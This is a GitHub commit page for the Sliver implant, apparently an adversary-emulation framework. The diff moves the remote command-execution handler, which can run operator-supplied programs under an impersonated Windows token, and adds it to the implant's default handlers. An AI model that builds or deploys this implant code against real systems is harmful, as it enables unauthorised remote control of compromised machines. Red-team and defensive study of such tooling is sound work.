Skip to content

Commit

Permalink
Added execute to default builds
Browse files Browse the repository at this point in the history
  • Loading branch information
moloch-- committed Dec 20, 2020
1 parent 61a52a5 commit 8e4e752
Show file tree
Hide file tree
Showing 3 changed files with 63 additions and 58 deletions.
55 changes: 0 additions & 55 deletions implant/sliver/handlers/generic-rpc-handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,18 +23,13 @@ package handlers
import (
"fmt"
"net"
"os/exec"
"strings"

// {{if .Config.Debug}}
"log"
// {{end}}

// {{if eq .Config.GOOS "windows"}}
"syscall"

"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"

// {{end}}

Expand Down Expand Up @@ -217,56 +212,6 @@ func ifconfig() *sliverpb.Ifconfig {
return interfaces
}

func executeHandler(data []byte, resp RPCResponse) {
var (
err error
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}

execResp := &sliverpb.Execute{}
cmd := exec.Command(execReq.Path, execReq.Args...)

//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
}
//{{end}}

if execReq.Output {
res, err := cmd.CombinedOutput()
//{{if .Config.Debug}}
log.Println(string(res))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
if exiterr, ok := err.(*exec.ExitError); ok {
execResp.Status = uint32(exiterr.ExitCode())
} else {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
}
execResp.Result = string(res)
} else {
err = cmd.Start()
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
}

func screenshotHandler(data []byte, resp RPCResponse) {
sc := &sliverpb.Screenshot{}
err := proto.Unmarshal(data, sc)
Expand Down
65 changes: 62 additions & 3 deletions implant/sliver/handlers/handlers.go
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,11 @@ import (
"fmt"
"io"
"io/ioutil"
"os/exec"

//{{if eq .Config.GOOS "windows"}}
"syscall"
//{{end}}

// {{if .Config.Debug}}
"log"
Expand Down Expand Up @@ -55,9 +60,13 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)

// ------------------------------
// --- PURE GO HANDLERS ONLY ---
// ------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
// --- PURE GO / PLATFORM INDEPENDENT HANDLERS ONLY ---
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------

func pingHandler(data []byte, resp RPCResponse) {
ping := &sliverpb.Ping{}
Expand Down Expand Up @@ -324,6 +333,56 @@ func uploadHandler(data []byte, resp RPCResponse) {
resp(data, err)
}

func executeHandler(data []byte, resp RPCResponse) {
var (
err error
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}

execResp := &sliverpb.Execute{}
cmd := exec.Command(execReq.Path, execReq.Args...)

//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
}
//{{end}}

if execReq.Output {
res, err := cmd.CombinedOutput()
//{{if .Config.Debug}}
log.Println(string(res))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
if exiterr, ok := err.(*exec.ExitError); ok {
execResp.Status = uint32(exiterr.ExitCode())
} else {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
}
execResp.Result = string(res)
} else {
err = cmd.Start()
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
}

// ---------------- Data Encoders ----------------

func gzipWrite(w io.Writer, data []byte) error {
Expand Down
1 change: 1 addition & 0 deletions implant/sliver/handlers/handlers_default.go
Original file line number Diff line number Diff line change
Expand Up @@ -40,6 +40,7 @@ var (
sliverpb.MsgPwdReq: pwdHandler,
sliverpb.MsgRmReq: rmHandler,
sliverpb.MsgMkdirReq: mkdirHandler,
sliverpb.MsgExecuteReq: executeHandler,
}
)

Expand Down

0 comments on commit 8e4e752

Please sign in to comment.